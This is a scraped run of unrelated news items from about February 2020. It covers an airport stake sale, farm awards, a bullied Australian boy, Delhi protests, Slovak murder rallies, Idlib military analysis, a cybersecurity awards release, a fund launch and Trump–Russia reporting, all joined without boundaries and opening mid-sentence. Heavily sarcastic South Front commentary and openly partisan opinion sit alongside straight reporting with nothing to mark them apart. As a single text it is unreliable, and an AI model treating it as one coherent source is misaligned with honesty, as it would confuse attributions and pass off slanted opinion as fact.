(GAL), and GMR Infra Services Limited (GISL)," an official statement said. Late on Thursday, GMR Infrastructure Ltd (GIL) announced that it has entered into a strategic partnership with Groupe ADP to sell 49 per cent stake in its airports arm for an equity consideration of Rs 10,780 crore. The CCI said that under the proposed combination, ADP would acquire up to 100 per cent of the equity shares of GISL directly and 49 per cent of the equity shares of GAL directly and indirectly. ADP is an international airport operator based in Paris, and carries out the financing, designing, and operating infrastructure, for a network of 25 airports in 13 countries in Europe, Asia, Africa and South America. Currently, ADP and its group have no operations in India, and do not have any shareholding or investment interest in any entity that carries on business in India. GMR Airports, an unlisted public company, is a subsidiary of GMR Infrastructure Ltd, and is engaged in developing, managing and operating airports in India and around the world. In India, GAL, through its subsidiaries, currently operates and manages two airports, Delhi and Hyderabad. In addition, it is developing a greenfield airport in Goa and recently received a letter of authorisation (LoA) for the development and operations of Nagpur airport on a public-private partnership basis, among others. GMR Infra Services Ltd, on the other and is an operating and holding company and its primary business is to hold shares in GMR Airports. BLOOMINGTON Farmers, teachers and a lobbyist were among those honored Thursday night by the McLean County Chamber of Commerce at its annual agricultural awards dinner. The event was held at the Holiday Inn & Suites Bloomington-Airport. Awards honored outstanding work in conservation, farming, agriculture and agribusiness, and were sponsored by McLean County Soil and Water Conservation District, the Ag Council, and McLean County Farm Bureau. Recipients were: Conservationist: Minnesota native Ben Peters graduated from the University of Wisconsin, Madison, with a bachelor of science. He serves on the board of Advance Trading and has been instrumental in opening branches across the Corn Belt. He has spearheaded a large native prairie restoration project, planted hundreds of trees, engaged in habitat work, and constructed a large wetland on his farm. Young Farmer: Grain farmer David Schuler of Lexington graduated from Illinois State University in 2011 with a bachelors degree in business agriculture, farming alongside his father and family at Schuler Farms. He raises livestock and works with a small herd of show pigs. He and his wife, Lauren, are the parents of a son, Vance. Schuler was elected to the McLean County Farm Bureau board in January 2019 and was the 2017 District 7 Farm Bureau Young Leaders Discussion Meet winner. He is active in the Lexington FFA Alumni. Farmer of the Year: David Meiss was elected to the Illinois Farm Bureau board in 2009, was vice president of the McLean County Farm Bureau board from 2007 to 2010, and is the boards liaison to the Illinois Pork Producers Association. He serves on the McLean County Governmental Affairs Committee and was its chairman from 2007 to 2010. Meiss grows corn, soybeans, and value-added crops, in addition to previously producing pork for 30 years. Service to Agriculture: Bridget Caldwell began her formal service to agriculture in July 2013. Between her role as a retired teacher, full-time grandmother and farm wife, she has reached more than 600 teachers and 9,000 students each year with a positive message about local agriculture and its impact. She also assists in educational efforts at the McLean County Fair, reaching more than 5,000 consumers annually. Person in Agribusiness: Chuck Spencer has served farmers throughout his entire career and is dedicated to finding practical solutions for various problem areas. Beginning as a county farm bureau manager in Mason County, his journey has brought him to the state capitol, where he advocated on critical issues such as the Livestock Management Facilities Act, and ultimately to federal issues such as the Renewable Fuel Standard and Section 199A. No matter what capitol building, he always brings these issues home to how they impact farmers in McLean County. Emerging Leader: Liz Harris has been agriculture teacher at Normal Community High School for six years, inspiring students to consider careers and positive consumer roles within the agriculture industry. Her classroom reflects and celebrates diversity. Her students' community service activities include the 10-day milk donation challenge. She shares her strategies at state and national agriculture teacher conferences. Love 1 Funny 0 Wow 3 Sad 0 Angry 3 More than $200,000 has been raised to send nine-year-old Brisbane boy Quaden Bayles to Disneyland after an outpouring of support for the young bullying victim. Quaden, who is a Murri boy and lives with Achondroplasia, a common form of dwarfism, was filmed by his mother crying in the back seat of her car after enduring bullying at school. The video went viral after Quaden's mother Yarraka Bayles posted it on social media this week. Nine-year-old Brisbane boy Quaden Bayles after he was bullied at school. Credit:Facebook "I want to die right now," a distressed Quaden says in the video, which had been viewed more than 5 million times by Friday afternoon. "Give me a knife, I'm going to kill myself." UP to get relief from heatwave condition: Met Rahul Gandhi to start for 3-day visit to Wayanad today, to take stock of flood relief operations Vodafone Idea will shut shop if there is no government relief: KM Birla Explained: How Delhi is picking up the pieces after the violence Nirbhaya convicts left no stone unturned to escape gallows, failed to get relief Delhi residents breathe a sigh of relief after UP Police reopens Delhi-Noida road India oi-Ajay Joseph Raj P New Delhi, Feb 21: Giving a massive relief for the residents of Delhi-NCR, the Uttar Pradesh Police has reopened a key route that links Noida with Delhi's Kalindi Kunj. This route was reopened to ease the congestion caused due to protests at Shaheen Bagh. The road leads from Kalindi Kunj towards Faridabad. It can be seen that Shaheen Bagh-Kalindi Kunj road has been blocked for more than two months with respect to the ongoing protests against Centre's decision on Ciotizenship Amendment Act (CAA). This road, that stretches about two to three kilometres has commercial centres housing shops and restaurants. The road ends at Atlanta Water Park. Daily commuters 'tired' as key Noida-Delhi road closed since Dec 15 due to anti-CAA protest The Shaheen Bagh-Kalindi Kunj road is parallel to the Noida-Greater Noida Expressway which is used by a large number of commuters between Delhi and Noida. While the demonstrators allegedly claimed that the roads close to Shaheen Bagh-Kalindi Kunj like the GD Birla Road, Kalindi Kunj bridge, Amrapali Road, Okhla Barrage Road and Noida-Greater Noida Expressway were open, the people's attention was majorly focused on Kalindi Kunj-Shaheen Bagh stretch. In an interview last fall, Cyrus R. Vance Jr., the Manhattan district attorney, and his chief assistant defended their decision to strike a plea deal in 2016 that allowed a gynecologist accused of sexually abusing 19 patients to avoid going to prison. The chief assistant, Karen Friedman Agnifilo, said the case against the doctor, Robert A. Hadden, was not a slam-dunk. Among other things, she said, some of the women were pregnant when they say the assaults occurred and so they could not see what was happening. That, she said, could have been used by the defense to undermine them as witnesses. But on Thursday, the district attorneys office said it had opened an investigation into new abuse allegations against Mr. Hadden. The move came about a month after the wife of a former Democratic presidential candidate publicly declared that she was one of Mr. Haddens victims, and amid renewed calls from elected officials and womens rights groups that Mr. Vance resign over his handling of the case. One week ahead of a decisive general election, thousands of Slovaks rallied nationwide on Friday marking two years since the gangland-style murder of a journalist upended politics in the EU country hounded by corruption. Jan Kuciak and his fiancee Martina Kusnirova were gunned down at their home on February 21, 2018, in a hit allegedly ordered by Marian Kocner, a wealthy businessman with ties to senior politicians who is now on trial for the crime. The 28-year-old investigative journalist had written several articles revealing Kocner's shady business activities. More than ten thousand people, some holding flickering candles, rallied in over 50 cities and towns across Slovakia on Friday evening in memory of the young couple. The double murder sparked mass protests that forced then populist prime minister Robert Fico to quit and propelled lawyer and anti-graft activist Zuzana Caputova to win last year's presidential race. Highlighting public outrage over high-level corruption, Kuciak's murder looms large over next Saturday?s fragmented vote. Around 8,000 people gathered in a central square in the capital Bratislava, where a blanket of candles lit up the ground at an ad hoc memorial. Kuciak's father called the election "crucial", speaking to AFP at the rally. "It is very important what kind of people will get into power," said Jozef Kuciak. - Political fallout - "I've come because I believe it's still important to fight for democracy and freedom in Slovakia," Bratislava university student Lubos Janak told AFP at the protest, adding that he had "felt gloom and a lack of freedom" following the murders. "I believe that the election results will reflect what happened two years ago," he added. Hit hard by the fallout of the double murder, opinion polls show that support is waning for Fico's governing left Smer-Social Democracy (Smer-SD) party while its current coalition partners could fall out of parliament altogether. Capitalising on its anti-establishment posture, surveys show the far-right Our Slovakia LSNS is on track to capture more seats. Polls also suggest that a gaggle of opposition centre-right, liberal and progressive parties campaigning on promises to root out graft have a good shot at forming a government if they can set aside their differences. President Caputova brought two red roses to the house of the murdered couple earlier on Friday. "If the murderers thought death would discourage other journalists from exposing high profile (corruption) cases, they were mistaken," Caputova wrote on her official Facebook page. "What Jan Kuciak did not finish, others will," she said. - New parties - Attending the Friday rally in Bratislava, Igor Matovic, head of the surging opposition OLaNO centre-right anti-graft party, told AFP that the double murder had "opened up the eyes of those who didn't want to see how corruption is devastating our society." Surveys suggest Matovic stands a real chance of becoming prime minister should he manage to unify a splintered opposition. "The murders changed the political scene, new parties emerged and immediately gained support," political analyst Grigorij Meseznikov told AFP, adding that the election would "probably bring the creation of a centre-right, pro-democracy-oriented ruling coalition." But according to Smer-SD leader Robert Fico, the Kuciak murder was "abused for political purposes. "If it wasn't for the murder, I'd stand here in front of you as a prime minister with 30 percent support," he told journalists in Bratislava on Friday. Candles were lit spellng out the love between, and for, Jan Kuciak and his fiancee Martina Kusnirova who were gunned down two years ago Kuciak's parents Jozef and Jana Kuciak address the memorial crowd on Friday Jackie 'O' Henderson has interviewed hundreds of local and international celebrities during her 20 years as co-host of The Kyle and Jackie O Show. But on Friday, the 45-year-old radio host revealed that one particular guest stands out for all the wrong reasons: Hollywood actor Steven Seagal. 'He literally ignored every one of my questions and only answered Kyle's questions,' Jackie told Beau Ryan, who was filling in for Kyle Sandilands. Suddenly shy? Radio host Jackie 'O' Henderson (pictured) has revealed that Hollywood actor Steven Seagal refused to answer any of her questions during an interview When Beau asked Jackie why she thought Seagal had ignored her questions, she said that the martial arts expert 'had an issue with the ladies'. At the time, Seagal was being sued for sexual harassment and Jackie suspected he was 'wary' of female journalists asking him about it. It comes after Jackie revealed on Thursday's show that she doesn't like speaking to Uber drivers, prompting Kyle to label her a snob. Awkward! At the time of the interview, Seagal (pictured) was being sued for sexual harassment and Jackie suspected he was 'wary' of female journalists asking him questions about it 'I want to click [quiet mode] every time, but I'm too scared! Because I think, "Oh, they'll think I'm such a snob,"' she said. 'But that's what I want to click! I think it's a great idea. I don't want to talk in an Uber.' Kyle wasn't impressed, telling Jackie that her preference for the 'quiet mode' option makes her a 'snob'. Keeping quiet: It comes after Jackie revealed on on Thursday that she doesn't like speaking to Uber drivers, prompting her co-host, Kyle Sandilands, to label her a snob 'No, I just want to be on my phone and do my own thing,' Jackie clarified, to which Kyle replied: 'Yeah, snob. That's what a snob is!' He added: 'You can't be bothered talking to a stranger, because you're in your own world, and whatever they've got to say, you're not interested in. I think you're a snob.' Jackie then explained she had recently endured 40 minutes of small talk on an Uber ride across the city. Ouch! Jackie said she is often tempted to use Uber's 'quiet mode' function, but worries what drivers will think. Kyle (right) told her she is a snob who's 'not interested' in other people's lives They'd spoken about 'Sydney, what it's like, the places you go, what do you do, what do you do for a living, where'd you come from, how long have you been here for...' 'The whole way we were chatting... It's like, I don't want to talk about that for 40 minutes! It's too much, sorry!' Jackie added. The Kyle and Jackie O Show airs weekdays from 6am on KIIS 106.5 Gov. Noem lauds state economy, but big legislative fights are coming Noems speech flowed between business and economic development, lifestyle issues and social issues that were united by their conservative themes. By South Front February 20, 2020 " Information Clearing House " - Turkey will take the Idlib matter into its own hands and the military operation in northwestern Syria is simply a matter of time, President Recep Tayyip Erdogan declared on February 19. Erdogan said that Turkey is not satisfied with talks on the matter with Russia, and it will not leave the region to the Assad regime and its backers. He recalled that only a few days left until the end of February, the deadline given by Ankara to Syrian forces to stop operations against Idlib armed groups. If the Syrians do not withdraw, Turkey promised to attack and push the Syrian Army back from the areas cleared from militants. Erdogans last warning came as Turkish media outlets were broadcasting news showing how columns of Turkish troops and vehicle were moving towards the border with Syria. However, did Turkey really deployed enough forces to deliver a devastating blow to the Syrian military and do not pay a heavy price? In the framework of the Astana agreements, Turkey established 12 observation posts. As the Syrian Army was advancing into Idlib, Ankara created a plethora of additional military positions in a failed attempt to stop the collapse of militants defense. These efforts binged the total number of Turkish military installations in the region up to 27. Judging from various footage, there are between one dozen and two dozen soldiers, as well as 4-6 military vehicles at every post located within the areas currently controlled by the Syrian government. The recently created posts are much stronger and can be described as real military positions with battle tanks, howitzers, mortars and fortified structures. The estimated total number of military equipment deployed by the Turkish Armed Forces in Idlib stands at 3,000. Since February 2nd, Turkey deployed 2,315 trucks and military vehicles, as well as 7,000 soldiers. Meanwhile, Turkey has positioned approximately 30,000 troops along the Syrian border in case of an escalation. Are You Tired Of The Lies And Non-Stop Propaganda? Get Your FREE Daily Newsletter The equipment and weapons that are being delivered include armored trucks, MRAPs, armored personnel carriers, battle tanks, ATGMs, various artillery pieces and rocket launchers. Army troops are reinforced with a notable number of special forces. According to pro-opposition sources, there are over 100,000 members of various groups, predominantly Hayat Tahrir al-Sham in Idlib. These groups are already actively taking part in the fight against the Syrian Arab Army. However, the real mobilization potential demonstrated by these factions during the recent battles does not exceed 10,000-20,000. In comparison, during Operation Euphrates Shield, in which Turkey struggled greatly, it deployed approximately 8,000 soldiers, in addition to approximately 11,000 Syrian opposition fighters, against 7,000 ISIS militants. This operation became widely known for large casualties among Turkish soldiers and proxies, as well as a large number of military equipment, including Leopard 2A4 battle tanks, lost during the battle of al-Bab. Another example is operation Olive Branch that involve around 6,000 Turkish troops, and 20,000 Turkish-backed fighters, against approximately 20,000 Syrian Democratic Forces and allied fighters. However, Kurdish armed groups did not engage Turkish-led forces in an intense open or urban fighting and opted to retreat from the region after weeks of artillery and air bombardment. Since then, Ankara has been trying to consolidate control over the area and put an end to constant attacks on its forces from the remaining YPG cells. Finally, Operation Peace Spring, which began in late 2019, reportedly involved 15,000 Turkish troops and 14,000 members of proxy groups. It also went without a significant open resistance from Kurdish groups and was frozen with the Syrian Army and the Russian Military Police deployed in the area. It also would be useful to note that both ISIS and Kurdish formations targeted by Turkey were outnumbered in the area of operations, suffered from a lack of modern weapons, heavy military equipment and artillery, and had no means and measures to combat the Turkish Air Force. No intense fighting took place in large urban areas. Despite this, the aforementioned operations became a real challenge for Turkey and its proxy groups. Therefore, it is unlikely that the Turkish forces currently deployed in Idlib and northwestern Syria will be enough to turn into reality Erdogans threats and promises. So, Turkey should hurry up and increase its military group in the area by several times, or Erdogan supporters should start preparing for March 1, the day when the dreams about the swift and powerful Turkish victory over Assad forces will be broken by the reality. This article was published by " South Front "- Do you agree or disagree? Post your comment here ==See Also== Syrians Are In Desperate Race To Outrun Brutal Regime Offensive By South Front February 20, 2020 " Information Clearing House " - Syrians are in a desperate race to outrun the offensive of the brutal Assad regime. The ruthless government forces are aggressively destroying helpless mines and car bombs, treacherously restoring roads, schools and residential houses, cruelly launching road patrols, and (oh, the horror!) oppressing moderate oppositionists from al-Qaeda. On February 18, the brutality of the regime reached a new peak with the reopening of Aleppo International Airport after the nine years of closure. According to reports, upcoming destinations for Aleppo will include Beirut, Dubai, Cairo, Moscow, and Erevan. The airlines that will be doing business with Aleppo Airport will be Syrian Arab Airways, Cham Wings, Iran Air, and the Russian national carrier, Aeroflot. Syria blatantly violated all fair-trade acts by excluding Turkish airlines from the project. In contrast to Aleppo operators, the Turkish companies had already proven themselves as safe and comfortable carriers of Idlib rebels that move to make money in Libya by fighting on behalf of Turkish-backed factions. In northeastern Syria, regime forces once again blocked a US military patrol forcing it to turn back and thus undermining Mr. Trumps democratic efforts to secure Syrian oil for US companies and military contractors. However, the wildest crimes are taken place in Greater Idlib, where the Syrians reject Turkish demands to withdraw from areas cowardly captured from al-Qaeda groups. The second round of the Turkish-Russian talks on the situation in Idlib ended on February 18 without any final statement. On the same day, the Syrian Air Force continued striking positions of Turkish protegees. Fortunately, a spokesman for the Turkish ruling party declared that Ankara had informed Moscow that it would attack Assad forces if it does not leave in peace al-Qaeda and withdraw from the captured areas. During the past weeks, Turkey concentrated thousands of troops and military equipment pieces in the area. So, there is at least one strong pillar of democracy in the Idlib question. The US President already announced that he and Mr. Erdogan were working together on the Idlib plan to prevent a tragedy. He doesnt want people to be killed by the thousands, and hundreds of thousands, Mr. Trump told media. Earlier, Mark Lowcock, the UNs humanitarian affairs chief, said on Monday that indiscriminate violence in the region reached a horrifying new level. Idlib rebels can feel secure about the interests of their foreign backers. They are planning to sell Idlib groups at some useful price. At one point in its history, most likely in the century after the return from the Babylonian exile, a swarm of locusts descended on Judah and ate everything in sight. That is, after all, what locusts do. The calamity was the setting for the prophetic oracles contained in the Book of Joel. In the first part of the book, the prophet laments the damage done by the swarm and calls on Gods people to mourn, not only for their losses but also for their sins. If they do, the prophet proclaims, God will restore the years the locusts have eaten. Locusts and leprosy are the quintessential biblical calamities, but few of us in the West have experienced either personally. In some parts of the world, they are far more familiar. In fact, right now, upwards of 13 million people in East Africa face famine as the result of locust swarms. Note that I said not a swarm but swarms, some covering more than 900 square miles and containing up to 80 million individual bugs. In one day they can consume as many crops as would provide food for 35,000 people. This current plague of locusts originated in the southern Arabian Peninsula where heavy rainfall provided ideal breeding conditions and prevailing winds carried them to East Africa. From there, the locusts spread into other areas, including South Sudan and the Turkana region of Kenya, both of which were already struggling with the effects of prolonged drought. By some estimates, if weather conditions are right, the swarms could increase by 500 times come June. And, making efforts to eradicate the swarms even more difficult is that one of their preferred breeding sites is controlled by the Somali Islamist group, al-Shabaab. Still, in the midst of the suffering, there are lights in the darkness, such as the group Marys Meals. You may have guessed from the name that the group is named after Jesus mother. The founder of Marys Meals, Magnus MacFarlane-Barrow, is a devout Catholic who, before founding the group, spent years as a salmon farmer. After hearing about the refugee crisis created by the Bosnian War, Magnus and his brother Fergus drove a truck all the way from Scotland to Bosnia loaded with relief supplies. This initial running or in this case, driving towards what other people were fleeing led to the creation of Marys Meals, whose vision is simple: every child receives one daily meal in their place of education. It may sound modest, but that one meal makes a huge difference long term, with a measurable impact on school enrollment, attendance and performance, especially in poorer countries. Today, the group feeds 1.3 million children around the world, including 20,000 in Turkana. Seventeen percent of all school children in Malawi are fed by Marys Meals. These efforts are in stark contrast to those of the national governments in places like Kenya, which are accused by critics of only thinking about the crisis areas during election time. The actions of Christian groups like Marys Meals and others are pretty much all that stands between a lot of people and mass starvation, and that was true even before this new plague of locusts. A crisis of biblical proportions demands a response by Gods people: specifically, running into, not away from, the plague. Thank God, thats what Christians have done throughout history, and thank God, thats what is happening today. But what can we do from so far away? Of course, we can pray. That matters, a lot. And, we can spread the word. Amazingly, people can watch cable news all day and not be aware of this calamity of biblical proportions. We can also urge our leaders to help those affected. Finally, we ourselves can be generous and support organizations like Marys Meals and others who provide this sort of care to those who need it the most. Publication date: February 21, 2020 Photo courtesy: Getty Images/Luke Dray/Stringer BreakPoint is a program of the Colson Center for Christian Worldview. BreakPoint commentaries offer incisive content people can't find anywhere else; content that cuts through the fog of relativism and the news cycle with truth and compassion. Founded by Chuck Colson (1931 2012) in 1991 as a daily radio broadcast, BreakPoint provides a Christian perspective on today's news and trends. Today, you can get it in written and a variety of audio formats: on the web, the radio, or your favorite podcast app on the go. John Stonestreet is President of the Colson Center for Christian Worldview, and radio host of BreakPoint, a daily national radio program providing thought-provoking commentaries on current events and life issues from a biblical worldview. John holds degrees from Trinity Evangelical Divinity School (IL) and Bryan College (TN), and is the co-author of Making Sense of Your World: A Biblical Worldview. Mr. Cesar Pie, President and CEO, CSIOS Corporation I would like to dedicate these awards to all CSIOS' employees. These awards are a reflection of their drive, talent, and professionalism, as well as their high degree of commitment and dedication to our mission and the missions of our customers worldwide.Mr. Cesar Pie CSIOS Corporation announced today that President and CEO, Mr. Cesar Pie, was presented with both Cybersecurity Executive (Gold) of the Year and Cybersecurity Strategist (Gold) of the Year at the 2020 Cybersecurity Excellence Awards. The Cybersecurity Excellence Awards is an annual competition honoring individuals and companies that demonstrate excellence, innovation and leadership in information security. The finalists and winners are selected based on the strength of their nomination as well as the popular vote by members of the information security community. I would like to thank this years Cybersecurity Excellence Awards council for this honor; I am humbled and grateful to receive these awards, said Cesar Pie, President and CEO of CSIOS Corporation. Mr. Pie added, I would like to dedicate these awards to all CSIOS' employees. These awards are a reflection of their drive, talent, and professionalism, as well as their high degree of commitment and dedication to our mission and the missions of our customers worldwide. Details about the Cybersecurity Excellence Awards and the list of 2020 finalist and winners are available at https://cybersecurity-excellence-awards.com/2020-cybersecurity-excellence-awards. Overall, crime in the system is low and was down last year compared with 2018, officials said. But data also shows that the numbers have been increasing in recent years. Amtrak police responded to just over 5,700 criminal incidents in 2019, down from nearly 6,000 the year before. Both years, however, saw more offenses aboard trains and within Amtraks jurisdiction than 2017, when there were about 4,100 incidents. USCENTCOM conference targets the hybrid threat U.S. Central Command U.S. Central Command Public Affairs TAMPA, Fla., Feb. 20, 2020 The 2020 Central and South Asia (CASA) Directors of Military Intelligence (DMI) Conference, hosted by U.S. Central Command (USCENTCOM), brought together Directors of Military Intelligence from Central and South Asia and subject matter experts from America's intelligence and academic community, Feb. 1012, 2020. The theme of this 5th annual conference was "countering hybrid threats." According to NATO, hybrid threats may employ military and non-military means to promulgate disinformation, launch cyber-attacks, and create economic pressure using irregular armed groups and, or regular forces. Hybrid methods are used to blur the lines between war and peace, and attempt to sow doubt in the minds of target populations. Attendees from five CASA nations included representatives from Afghanistan, Kazakhstan, Kyrgyz Republic, Pakistan, and Uzbekistan. "The conference was instrumental in bringing regional leaders together to share concerns and best practices on how to counter hybrid threats that directly affect the USCENTCOM region," said U.S. Army Maj. Lemar Farhad, U.S. Central Command's CASA Regional Engagements Officer. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Tkachenko noted that it is necessary to hold another two-three working meetings with a group, which wrote the law, to discuss each offer and note Discussion of the bill on media continues; however, the document will not be withdrawn, as Glavkom reported citing Head of Parliamentary Commission on Humanitarian and Information Policy Oleksandr Tkachenko. I do not see the resistance of the media sphere to this law. I see the ongoing discussion. We do not intend to withdraw it definitely, Tkachenko said. He noted that there are a few articles, eight or nine, which are questionable and the proper offers also present. Such offers might be grouped by blocks: format of the regulation of online media, language issue, issue of the authorities of the National Council o TV and Radio Broadcasting, and two-three blocks, which are less debatable. It is noted that the comments and offers are gathered and they will be included in the comparison table for the bill. However, it is necessary to hold another two-three working meeting with a group, which wrote the law, to discuss each offer and note. On September 17, the Parliamentary Committee on Humanitarian and Information Policy recommended the parliament to adopt as the basis the bill #2693 On media. Ukraines parliament Speaker Dmytro Razumkov promised that the bill would be elaborated along with the journalists. As we reported, the media bill provides the creation of the so-called mass media code. According to the bill, only those broadcasters, which use the radio-frequency resources for earth broadcasting FM radio and T2, will be licensed. The chief body, which will monitor the media market, will be the National Council on TV and Radio Broadcasting. This body will register the mass media or abolish the registration of the media, which activity violates the law. [February 21, 2020] M33 Growth Closes $260 Million Fund M33 Growth, a venture and growth stage investment firm, announced today that it has closed its second fund. M33 Growth II accepted $260 million in limited partner commitments from some of the nation's top endowments, foundations and institutional investors, as well as highly regarded founders and CEOs with whom the M33 Growth team has forged strong working relationships with over the past decade. It follows the firm's $180 million debut fund that closed in late 2017. M33 Growth seeks to partner with founders and CEOs of companies who are using cutting-edge technology to solve critical, industry-specific problems. Without institutional financing, these founders have built great businesses from the ground-up and, in our view, are poised to achieve rapid growth. These companies are marked by deep domain experience, strong products, and a customer-centric approach. They are led by CEOs who are ambitious and who are excited to compete against-and beat-entrenched, legacy incumbents in their vertical markets. "M33 Growth was founded to fuel the growth of the next great success stories in American business," said Brian Shortsleeve, a co-founder and managing director of M33 Growth. "We seek to partner with scrappy founders who have built great companies by bootstrapping their way to profitability and are looking for a partner to help them accelerate growth. Our second fund marks not only the next milestone for our firm, but also a tremendous platform to continue to expand the sales and go-to-market epansion and strategic sourcing platform that we believe will drive growth in our companies." M33 Growth invests growth capital and applies its deep operational experience to optimize go-to-market teams and execute on strategic acquisitions. Since the firm's launch, M33 Growth has invested in six bootstrapped companies that we believe are poised to rapidly scale. With the help of the M33 Growth sourcing engine, these companies have successfully closed several strategic acquisitions to help fuel their growth. M33 Growth's companies are on the cutting edge of driving productivity and automation in a variety of B2B software and services applications. "Our team brings a differentiated set of skills to our companies, most notably a one-two punch of extensive B2B software sales and marketing execution experience and a powerful sourcing engine to drive strategic acquisitions. This has proven to be the perfect match for the gritty and ambitious spirit of the founders we seek to collaborate with," said Michael Anello, a co-founder and managing director of M33 Growth. "Our approach to investing in a very limited number of teams allows us, as the founding partners of M33 Growth, to roll up our sleeves and dive deep with our companies." The firm, which is supported by a team of 15 out of its Boston headquarters, received tremendous response from investors in raising M33 Growth II. "We are particularly proud of the team we've built," said Gabe Ling, a co-founder and managing director of M33 Growth. "We sought out individuals who shared in our vision of locking arms with entrepreneurs to build their businesses, rather than just sitting in an ivory tower working on endless spreadsheets." To learn more about M33 Growth, its investment philosophy and current portfolio, visit www.m33Growth.com. About M33 Growth M33 Growth is a venture and growth stage investment firm that seeks to partner with founders and CEOs who have successfully bootstrapped their companies to strong growth and are positioned to rapidly scale their companies and break through as market leaders. With deep experience fueling sales and marketing engines, driving acquisitions and building value through data assets, M33 Growth seeks to propel portfolio companies to success in their markets. Founded by veterans of renowned investment firms with considerable operational experience, the Boston-based firm seeks to invest in companies in the software, healthcare and services sectors throughout North America. Its current portfolio includes AssuriCare, RHI Group, The Oncology Institute, TITAN Cloud and Waterfield Energy. Learn more at m33growth.com. THE INFORMATION IN THIS DOCUMENT IS NOT AN OFFER TO SELL OR SOLICITATION OF AN OFFER TO BUY AN INTEREST IN ANY INVESTMENT FUND OR FOR THE PROVISION OF ANY INVESTMENT MANAGEMENT OR ADVISORY SERVICES. ANY SUCH OFFER OR SOLICITATION WILL BE MADE ONLY BY MEANS OF A CONFIDENTIAL OFFERING RELATING TO A PARTICULAR FUND OR INVESTMENT MANAGEMENT CONTRACT AND ONLY IN THOSE JURISDICTIONS WHERE PERMITTED BY LAW. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005422/en/ [ Back To TMCnet.com's Homepage ] Ye Hai Hindustan! Multi-Faith Prayer Held At Foundation Stone Ceremony Of Thal Sena Bhawan Hon'ble Raksha Mantri Shri Rajnath Singh laid the foundation stone for Thal Sena Bhawan at #Delhi Cantonment. Location for #IndianArmy Headquarters. Thal Sena Bhawan has been conceptualised as a multistory green building in consonance with environmental norms.#NationFirst pic.twitter.com/Jwr8TStpvR ADG PI - INDIAN ARMY (@adgpi) February 21, 2020 The secular fabric of India was on full display as multi-faith prayer was held at the foundation laying ceremony of Thal Sena Bhawan in the national capital. Defence Minister Rajnath Singh laid the foundation stone for the proposed structure of the new Army building in Delhi Cantonment. Army Chief General Manoj Mukund Narwane was also present during the ceremony. Read more. Here are the other top news of the day: Coronavirus: Death Toll In China Rises To 2,236; Confirmed Cases Cross 75,400 The death toll in China due to coronavirus continues to rise after 2,236 people have lost their lives so far with 118 more deaths reported adding to the tally. The toll has been reported mostly from the hard-hit Hubei province, while the overall confirmed infection cases have climbed to 75,465, Chinese health officials said. Read more. Rajasthan Puts Students' Well-Being First, Makes Saturday No-Bag Day To Focus On Happiness Rajasthan has come up with a unique concept that other states can also follow. On Thursday, while delivering his budget speech, Rajasthan Chief Minister Ashok Gehlot said that Saturdays will be 'No-Bag Day' for students of government schools across the state. Read more. Woman Who Shouted 'Pakistan Zindabad' At Anti-CAA Rally Attended By Owaisi, Booked For Sedition #WATCH The full clip of the incident where a woman named Amulya at an anti-CAA-NRC rally in Bengaluru raised slogan of 'Pakistan zindabad' today. AIMIM Chief Asaddudin Owaisi present at rally stopped the woman from raising the slogan; He has condemned the incident. pic.twitter.com/wvzFIfbnAJ ANI (@ANI) February 20, 2020 Bengaluru police have booked a woman who was arrested after she shouted Pakistan Zindabad during her speech at an anti-CAA-NRC protest in the city under Section 124A (Sedition) of the Indian Penal Code. Read more. Interfaith Couple Leave Religion Column 'Blank', Kerala School Allegedly Refuse Son Admission A private school in Kerala's capital Thiruvananthapuram has allegedly refused to admit a student after his interfaith parents refused to fill up the religion column in the application form. Naseem and his wife Dhanya, who are residents of Thiruvananthapuram alleged that the St Mary's Higher Secondary School in Pattom insisted that they fill the religion column on the application form to get their son admitted there. Read more. Shocking Murder Caught On CCTV! Student Stabbed To Death In Lucknow, Former MLA's Son Arrested Police in Lucknow has arrested Aman Bahadur, the prime suspect in the murder of an engineering student at Babu Banarasi Das (BBD) University in UP's capital. Prashant Singh, an undergraduate engineering student was stabbed to death Bahadur at the Alaknanda apartment in Lucknow's Gomtinagar on Thursday. Read more. Cancun police catch two fleeing toward taxi for murder Cancun, Q.R. Elements of the Quintana Roo Police of Benito Juarez have arrested two men accused of murdering their Cancun roommate. In a statement, the alleged were captured in the vicinity of Region 259 of Cancun while trying to escape in a taxi. Elements of the Policia Quintana Roo de Benito Juarez reported hearing firearm detonations before observing two men who began running toward a Andres Quintana Roo Tsuru taxi for an escape. The officers also saw a person lying down with gunshot impacts, which caused them to immediately begin a persecution which led to the arrest of the alleged perpetrators. Authorities have identified the detained as 28-year-old Jonathan N and 21-year-old Jorge N. They were taken into custody for the alleged murder of a male they apparently lived with. U.S. intelligence briefed House on Russia to ensure Trump's re-election. Classified briefing to lawmakers made Trump angry Trump said Democrats would "weaponize" news of Russian military campaign Trump was mad DNI Joseph Maguire would let staff appear That's why Maguire's out, Richard Grenell's in as 'acting' DNI. In Washington last week, U.S. intelligence officials told lawmakers that Russia is carrying out a military-grade attack on the 2020 elections, with the goal of making Americans doubt the integrity of the vote and ensure re-election for impeached, manifestly unfit and corrupt President Donald Trump, Reuters reported Thursday. Earlier today, The New York Times reported that one day after this briefing on Russian interference in the 2020 US elections, Trump punished acting Director of National Intelligence (DNI) Joseph Maguire for allowing his staff to appear before the committee. The NYT quotes five people familiar with the matter: The day after the Feb. 13 briefing to lawmakers, Mr. Trump berated Joseph Maguire, the outgoing acting director of national intelligence, for allowing it to take place, people familiar with the exchange said. Mr. Trump cited the presence in the briefing of Representative Adam B. Schiff, the California Democrat who led the impeachment proceedings against him, as a particular irritant. On Wednesday, as NYT notes, Trump announced Maguire was out and that Richard Grenell, a Trump toady who has served as ambassador to Germany since 2018, will be 'acting' DNI. Intelligence officials and analysts say Grenell is not qualified, and this is manifestly corrupt and bizarre. Excerpt from Jonathan Landay's story Thursday evening at Reuters: The person, who spoke on condition of anonymity because of the matter's sensitivity, said Trump's Republican allies on the Democratic-led House Intelligence Committee questioned the assessment presented by officials of the Office of National Intelligence last Thursday. "The Republicans responded as you would expect. They went nuts," said the person. "They questioned the intelligence." The briefers warned the committee in the classified briefing that Russia was working to cast doubt on the integrity of the Nov. 3 vote while at the same time boosting Trump's election to a second four-year term. "They (the Russians) are favoring one candidate while they do it," said the person, adding that the briefers identified that candidate as Trump. The source declined to elaborate. "There was no immediate response to a request for comment from committee Republicans," Reuters adds. And the NYT: "Spokeswomen for the Office of the Director of National Intelligence and its election security office declined to comment. A White House spokesman did not immediately respond to requests for comment." Yep. Read more: U.S. 